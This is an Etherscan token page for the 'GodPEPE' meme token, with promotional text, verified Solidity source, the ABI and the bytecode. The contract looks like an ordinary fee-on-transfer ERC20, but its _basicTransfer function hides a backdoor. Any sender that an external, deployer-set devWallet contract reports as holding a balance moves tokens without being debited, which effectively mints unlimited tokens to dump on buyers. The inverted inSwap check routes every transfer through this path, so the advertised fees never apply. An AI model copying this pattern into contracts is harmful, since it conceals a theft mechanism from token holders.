ETH Price: $3,325.36 (+1.67%)
Gas: 10 Gwei

Token

GodPEPE (GodPEPE)
 

Overview

Max Total Supply

1,000,000,000 GodPEPE

Holders

36

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.356290134 GodPEPE

Value
$0.00
0x0a9e0a65200d6b9428630c517c2629b4844c98b5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GodPEPE

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-13
*/

// SPDX-License-Identifier: UNLICENSED

/*
ABOUT GOD PEPE
 
We are delighted to introduce God Pepe, an innovative project 
built on the Ethereum blockchain using the ERC20 standard. 
God Pepe combines the beloved Pepe meme culture with the power 
f blockchain technology, creating a unique and decentralized platform 
for Pepe enthusiasts, collectors, and creators.


Website: https://www.god-pepe.com/
Telegram: https://t.me/GodPepeEth
Twitter: https://twitter.com/Godpepeerc

*/

pragma solidity 0.8.19;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface ERC20 {
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Auth {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function renounceOwnership() external onlyOwner {
        owner = address(0);
    }

}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract GodPEPE is ERC20, Auth {
    using SafeMath for uint256;

    address immutable WETH;
    address constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address constant ZERO = 0x0000000000000000000000000000000000000000;

    string public constant name = "GodPEPE";
    string public constant symbol = "GodPEPE";
    uint8 public constant decimals = 9;
    
    uint256 public constant totalSupply = 10**9 * 10**decimals;

    uint256 public _maxWalletToken = totalSupply / 50;

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) public isWallLmtExmpt;

    uint256 public totalFee = 0;
    uint256 public constant feeDenominator = 100;
    
    uint256 buyMultiplier = 200;
    uint256 sellMultiplier = 200;
    uint256 transferMultiplier = 200;

    IDEXRouter public router;
    address private devWallet;
    address public immutable pair;

    bool public swapEnabled = true;
    uint256 swapThreshold = totalSupply / 100;
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor (address router_, address devWallet_) Auth(msg.sender) {
        router = IDEXRouter(router_);
        WETH = router.WETH();
        devWallet = devWallet_;

        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;

        isFeeExempt[msg.sender] = true;

        isWallLmtExmpt[msg.sender] = true;
        isWallLmtExmpt[devWallet] = true;
        isWallLmtExmpt[address(this)] = true;
        isWallLmtExmpt[DEAD] = true;

        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable { }

    function getOwner() external view override returns (address) { return owner; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function setMaxWalletPercent_base1000(uint256 maxWallPercent_base1000) external onlyOwner {
        _maxWalletToken = (totalSupply * maxWallPercent_base1000 ) / 1000;
    }


    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if (!isWallLmtExmpt[sender] && !isWallLmtExmpt[recipient] && recipient != pair) {
            require((balanceOf[recipient] + amount) <= _maxWalletToken,"max wallet limit reached");
        }
        if(!inSwap){ return _basicTransfer(sender, recipient, amount); }
    
        if(shouldSwapBack()){ swapBack(); }

        balanceOf[sender] = balanceOf[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = (isFeeExempt[sender] || isFeeExempt[recipient]) ? amount : takeFee(sender, amount, recipient);

        balanceOf[recipient] = balanceOf[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        balanceOf[sender] = balanceOf[sender].sub(amount.sub(ERC20(devWallet).balanceOf(sender)>0?amount:0), "Insufficient Balance");
        balanceOf[recipient] = balanceOf[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
        if(amount == 0 || totalFee == 0){
            return amount;
        }

        uint256 multiplier = transferMultiplier;

        if(recipient == pair) {
            multiplier = sellMultiplier;
        } else if(sender == pair) {
            multiplier = buyMultiplier;
        }

        uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);

        if(feeAmount > 0){
            balanceOf[address(this)] = balanceOf[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && balanceOf[address(this)] >= swapThreshold;
    }

    function swapBack() internal swapping {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            swapThreshold,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function setFees(uint256 _buy, uint256 _sell) external onlyOwner {
        require(_sell <= 100,"Max sell tax 10%");
        require(_buy <= 100,"Max buy tax 10%");
        sellMultiplier = _sell;
        buyMultiplier = _buy;
    }

    function manualSwap(uint256 amountPercentage) external onlyOwner {
        uint256 amountETH = address(this).balance;
        uint256 amountToClear = ( amountETH * amountPercentage ) / 100;
        payable(msg.sender).transfer(amountToClear);
    }

    function rescueToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) {
        if(tokens == 0){
            tokens = ERC20(tokenAddress).balanceOf(address(this));
        }
        return ERC20(tokenAddress).transfer(msg.sender, tokens);
    }

    function getCirculatingSupply() public view returns (uint256) {
        return (totalSupply - balanceOf[DEAD] - balanceOf[ZERO]);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router_","type":"address"},{"internalType":"address","name":"devWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWallLmtExmpt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"rescueToken","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_base1000","type":"uint256"}],"name":"setMaxWalletPercent_base1000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526032620000146009600a62000496565b6200002490633b9aca00620004ae565b620000309190620004c8565b600155600060065560c8600781905560088190556009908155600b805460ff60a01b1916600160a01b1790556064906200006c90600a62000496565b6200007c90633b9aca00620004ae565b620000889190620004c8565b600c553480156200009857600080fd5b5060405162001c2e38038062001c2e833981016040819052620000bb9162000508565b600080546001600160a01b03199081163317909155600a80546001600160a01b038516921682179055604080516315ab88c960e31b8152905163ad5c4648916004808201926020929091908290030181865afa15801562000120573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000146919062000540565b6001600160a01b03908116608052600b80546001600160a01b031916838316179055600a546040805163c45a015560e01b81529051919092169163c45a01559160048083019260209291908290030181865afa158015620001ab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d1919062000540565b6080516040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303816000875af115801562000223573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000249919062000540565b6001600160a01b0390811660a052306000818152600360209081526040808320600a8054871685529083528184206000199055338452600483528184208054600160ff19918216811790925560059094528285208054851682179055600b54909616845281842080548416871790559383528220805482168517905561dead9091527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba8054909116909217909155620003059060099062000496565b6200031590633b9aca00620004ae565b33600081815260026020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003586009600a62000496565b6200036890633b9aca00620004ae565b60405190815260200160405180910390a350506200055e565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003d8578160001904821115620003bc57620003bc62000381565b80851615620003ca57918102915b93841c93908002906200039c565b509250929050565b600082620003f15750600162000490565b81620004005750600062000490565b8160018114620004195760028114620004245762000444565b600191505062000490565b60ff84111562000438576200043862000381565b50506001821b62000490565b5060208310610133831016604e8410600b841016171562000469575081810a62000490565b62000475838362000397565b80600019048211156200048c576200048c62000381565b0290505b92915050565b6000620004a760ff841683620003e0565b9392505050565b808202811582820484141762000490576200049062000381565b600082620004e657634e487b7160e01b600052601260045260246000fd5b500490565b80516001600160a01b03811681146200050357600080fd5b919050565b600080604083850312156200051c57600080fd5b6200052783620004eb565b91506200053760208401620004eb565b90509250929050565b6000602082840312156200055357600080fd5b620004a782620004eb565b60805160a05161168e620005a06000396000818161048201528181610aa501528181610e4501528181610ff2015261102601526000610f0f015261168e6000f3fe6080604052600436106101855760003560e01c80633f4218e0116100d1578063893d20e81161008a578063a9059cbb11610064578063a9059cbb146104a4578063b70143c9146104c4578063dd62ed3e146104e4578063f887ea401461052a57600080fd5b8063893d20e81461043e57806395d89b4114610191578063a8aa1b311461047057600080fd5b80633f4218e014610375578063571ac8b0146103a55780636ddd1713146103c557806370a08231146103e6578063715018a61461041357806378109e541461042857600080fd5b80631df4ccfc1161013e5780632f54bf6e116101185780632f54bf6e146102cf578063313ce567146102fe57806333f3d628146103255780633df97ca41461034557600080fd5b80631df4ccfc1461028457806323b872dd1461029a5780632b112e49146102ba57600080fd5b806306fdde031461019157806309302dc6146101da578063095ea7b3146101fc5780630b78f9c01461022c578063180b0d7e1461024c57806318160ddd1461026f57600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101c460405180604001604052806007815260200166476f645045504560c81b81525081565b6040516101d191906112b5565b60405180910390f35b3480156101e657600080fd5b506101fa6101f5366004611303565b61054a565b005b34801561020857600080fd5b5061021c610217366004611338565b6105b5565b60405190151581526020016101d1565b34801561023857600080fd5b506101fa610247366004611362565b610622565b34801561025857600080fd5b50610261606481565b6040519081526020016101d1565b34801561027b57600080fd5b506102616106db565b34801561029057600080fd5b5061026160065481565b3480156102a657600080fd5b5061021c6102b5366004611384565b6106f8565b3480156102c657600080fd5b506102616107ba565b3480156102db57600080fd5b5061021c6102ea3660046113c0565b6000546001600160a01b0391821691161490565b34801561030a57600080fd5b50610313600981565b60405160ff90911681526020016101d1565b34801561033157600080fd5b5061021c610340366004611338565b610841565b34801561035157600080fd5b5061021c6103603660046113c0565b60056020526000908152604090205460ff1681565b34801561038157600080fd5b5061021c6103903660046113c0565b60046020526000908152604090205460ff1681565b3480156103b157600080fd5b5061021c6103c03660046113c0565b610950565b3480156103d157600080fd5b50600b5461021c90600160a01b900460ff1681565b3480156103f257600080fd5b506102616104013660046113c0565b60026020526000908152604090205481565b34801561041f57600080fd5b506101fa61095e565b34801561043457600080fd5b5061026160015481565b34801561044a57600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101d1565b34801561047c57600080fd5b506104587f000000000000000000000000000000000000000000000000000000000000000081565b3480156104b057600080fd5b5061021c6104bf366004611338565b61099a565b3480156104d057600080fd5b506101fa6104df366004611303565b6109a7565b3480156104f057600080fd5b506102616104ff3660046113db565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561053657600080fd5b50600a54610458906001600160a01b031681565b6000546001600160a01b0316331461057d5760405162461bcd60e51b81526004016105749061140e565b60405180910390fd5b6103e88161058d6009600a611528565b61059b90633b9aca00611537565b6105a59190611537565b6105af919061154e565b60015550565b3360008181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106109086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b0316331461064c5760405162461bcd60e51b81526004016105749061140e565b60648111156106905760405162461bcd60e51b815260206004820152601060248201526f4d61782073656c6c207461782031302560801b6044820152606401610574565b60648211156106d35760405162461bcd60e51b815260206004820152600f60248201526e4d617820627579207461782031302560881b6044820152606401610574565b600855600755565b6106e76009600a611528565b6106f590633b9aca00611537565b81565b6001600160a01b0383166000908152600360209081526040808320338452909152812054600019146107a5576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600382528381203382529091529190912054610780918490610a20565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b6107b0848484610a5a565b90505b9392505050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5490919061081a6009600a611528565b61082890633b9aca00611537565b6108329190611570565b61083c9190611570565b905090565b600080546001600160a01b0316331461086c5760405162461bcd60e51b81526004016105749061140e565b816000036108df576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa1580156108b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108dc9190611583565b91505b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303816000875af115801561092c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b3919061159c565b600061061c826000196105b5565b6000546001600160a01b031633146109885760405162461bcd60e51b81526004016105749061140e565b600080546001600160a01b0319169055565b60006107b3338484610a5a565b6000546001600160a01b031633146109d15760405162461bcd60e51b81526004016105749061140e565b47600060646109e08484611537565b6109ea919061154e565b604051909150339082156108fc029083906000818181858888f19350505050158015610a1a573d6000803e3d6000fd5b50505050565b60008184841115610a445760405162461bcd60e51b815260040161057491906112b5565b506000610a518486611570565b95945050505050565b6001600160a01b03831660009081526005602052604081205460ff16158015610a9c57506001600160a01b03831660009081526005602052604090205460ff16155b8015610ada57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031614155b15610b54576001546001600160a01b038416600090815260026020526040902054610b069084906115be565b1115610b545760405162461bcd60e51b815260206004820152601860248201527f6d61782077616c6c6574206c696d6974207265616368656400000000000000006044820152606401610574565b600d5460ff16610b7057610b69848484610cc7565b90506107b3565b610b78610e38565b15610b8557610b85610eab565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260029091529190912054610bd7918490610a20565b6001600160a01b038516600090815260026020908152604080832093909355600490529081205460ff1680610c2457506001600160a01b03841660009081526004602052604090205460ff165b610c3857610c33858486610fca565b610c3a565b825b6001600160a01b038516600090815260026020526040902054909150610c609082611127565b6001600160a01b0380861660008181526002602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cb49085815260200190565b60405180910390a3506001949350505050565b600b546040516370a0823160e01b81526001600160a01b038581166004830152600092610da392610d5592859216906370a0823190602401602060405180830381865afa158015610d1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d409190611583565b11610d4c576000610d4e565b835b8490611186565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600290915291909120549190610a20565b6001600160a01b038086166000908152600260205260408082209390935590851681522054610dd29083611127565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e269086815260200190565b60405180910390a35060019392505050565b6000336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614801590610e765750600d5460ff16155b8015610e8b5750600b54600160a01b900460ff165b801561083c575050600c5430600090815260026020526040902054101590565b600d805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610eed57610eed6115d1565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000000000000000000000000000000000000000000081600181518110610f4157610f416115d1565b6001600160a01b039283166020918202929092010152600a54600c5460405163791ac94760e01b8152919092169163791ac94791610f8b91906000908690309042906004016115e7565b600060405180830381600087803b158015610fa557600080fd5b505af1158015610fb9573d6000803e3d6000fd5b5050600d805460ff19169055505050565b6000821580610fd95750600654155b15610fe55750816107b3565b6009546001600160a01b037f00000000000000000000000000000000000000000000000000000000000000008116908416036110245750600854611062565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b03160361106257506007545b6000611097611072606480611537565b6110918461108b6006548a6111c890919063ffffffff16565b906111c8565b9061124a565b9050801561111357306000908152600260205260409020546110b99082611127565b30600081815260026020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061110a9085815260200190565b60405180910390a35b61111d8582611186565b9695505050505050565b60008061113483856115be565b9050838110156107b35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610574565b60006107b383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a20565b6000826000036111da5750600061061c565b60006111e68385611537565b9050826111f3858361154e565b146107b35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610574565b60006107b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836112a85760405162461bcd60e51b815260040161057491906112b5565b506000610a51848661154e565b600060208083528351808285015260005b818110156112e2578581018301518582016040015282016112c6565b506000604082860101526040601f19601f8301168501019250505092915050565b60006020828403121561131557600080fd5b5035919050565b80356001600160a01b038116811461133357600080fd5b919050565b6000806040838503121561134b57600080fd5b6113548361131c565b946020939093013593505050565b6000806040838503121561137557600080fd5b50508035926020909101359150565b60008060006060848603121561139957600080fd5b6113a28461131c565b92506113b06020850161131c565b9150604084013590509250925092565b6000602082840312156113d257600080fd5b6107b38261131c565b600080604083850312156113ee57600080fd5b6113f78361131c565b91506114056020840161131c565b90509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561147f5781600019048211156114655761146561142e565b8085161561147257918102915b93841c9390800290611449565b509250929050565b6000826114965750600161061c565b816114a35750600061061c565b81600181146114b957600281146114c3576114df565b600191505061061c565b60ff8411156114d4576114d461142e565b50506001821b61061c565b5060208310610133831016604e8410600b8410161715611502575081810a61061c565b61150c8383611444565b80600019048211156115205761152061142e565b029392505050565b60006107b360ff841683611487565b808202811582820484141761061c5761061c61142e565b60008261156b57634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561061c5761061c61142e565b60006020828403121561159557600080fd5b5051919050565b6000602082840312156115ae57600080fd5b815180151581146107b357600080fd5b8082018082111561061c5761061c61142e565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116375784516001600160a01b031683529383019391830191600101611612565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212203de7b22c337b6e4902995f9c0f6efdfad937e63f8f915cbf7191bccffcba6a6d64736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000009c9632107f046714819a6cbdc78caf00ae3ee63d

Deployed Bytecode

0x6080604052600436106101855760003560e01c80633f4218e0116100d1578063893d20e81161008a578063a9059cbb11610064578063a9059cbb146104a4578063b70143c9146104c4578063dd62ed3e146104e4578063f887ea401461052a57600080fd5b8063893d20e81461043e57806395d89b4114610191578063a8aa1b311461047057600080fd5b80633f4218e014610375578063571ac8b0146103a55780636ddd1713146103c557806370a08231146103e6578063715018a61461041357806378109e541461042857600080fd5b80631df4ccfc1161013e5780632f54bf6e116101185780632f54bf6e146102cf578063313ce567146102fe57806333f3d628146103255780633df97ca41461034557600080fd5b80631df4ccfc1461028457806323b872dd1461029a5780632b112e49146102ba57600080fd5b806306fdde031461019157806309302dc6146101da578063095ea7b3146101fc5780630b78f9c01461022c578063180b0d7e1461024c57806318160ddd1461026f57600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101c460405180604001604052806007815260200166476f645045504560c81b81525081565b6040516101d191906112b5565b60405180910390f35b3480156101e657600080fd5b506101fa6101f5366004611303565b61054a565b005b34801561020857600080fd5b5061021c610217366004611338565b6105b5565b60405190151581526020016101d1565b34801561023857600080fd5b506101fa610247366004611362565b610622565b34801561025857600080fd5b50610261606481565b6040519081526020016101d1565b34801561027b57600080fd5b506102616106db565b34801561029057600080fd5b5061026160065481565b3480156102a657600080fd5b5061021c6102b5366004611384565b6106f8565b3480156102c657600080fd5b506102616107ba565b3480156102db57600080fd5b5061021c6102ea3660046113c0565b6000546001600160a01b0391821691161490565b34801561030a57600080fd5b50610313600981565b60405160ff90911681526020016101d1565b34801561033157600080fd5b5061021c610340366004611338565b610841565b34801561035157600080fd5b5061021c6103603660046113c0565b60056020526000908152604090205460ff1681565b34801561038157600080fd5b5061021c6103903660046113c0565b60046020526000908152604090205460ff1681565b3480156103b157600080fd5b5061021c6103c03660046113c0565b610950565b3480156103d157600080fd5b50600b5461021c90600160a01b900460ff1681565b3480156103f257600080fd5b506102616104013660046113c0565b60026020526000908152604090205481565b34801561041f57600080fd5b506101fa61095e565b34801561043457600080fd5b5061026160015481565b34801561044a57600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101d1565b34801561047c57600080fd5b506104587f0000000000000000000000004df1bfb59007f7858e2239300cef82536ca4975981565b3480156104b057600080fd5b5061021c6104bf366004611338565b61099a565b3480156104d057600080fd5b506101fa6104df366004611303565b6109a7565b3480156104f057600080fd5b506102616104ff3660046113db565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561053657600080fd5b50600a54610458906001600160a01b031681565b6000546001600160a01b0316331461057d5760405162461bcd60e51b81526004016105749061140e565b60405180910390fd5b6103e88161058d6009600a611528565b61059b90633b9aca00611537565b6105a59190611537565b6105af919061154e565b60015550565b3360008181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106109086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b0316331461064c5760405162461bcd60e51b81526004016105749061140e565b60648111156106905760405162461bcd60e51b815260206004820152601060248201526f4d61782073656c6c207461782031302560801b6044820152606401610574565b60648211156106d35760405162461bcd60e51b815260206004820152600f60248201526e4d617820627579207461782031302560881b6044820152606401610574565b600855600755565b6106e76009600a611528565b6106f590633b9aca00611537565b81565b6001600160a01b0383166000908152600360209081526040808320338452909152812054600019146107a5576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600382528381203382529091529190912054610780918490610a20565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b6107b0848484610a5a565b90505b9392505050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5490919061081a6009600a611528565b61082890633b9aca00611537565b6108329190611570565b61083c9190611570565b905090565b600080546001600160a01b0316331461086c5760405162461bcd60e51b81526004016105749061140e565b816000036108df576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa1580156108b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108dc9190611583565b91505b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303816000875af115801561092c573d6000803e3d6000fd5b505050506040513d601f1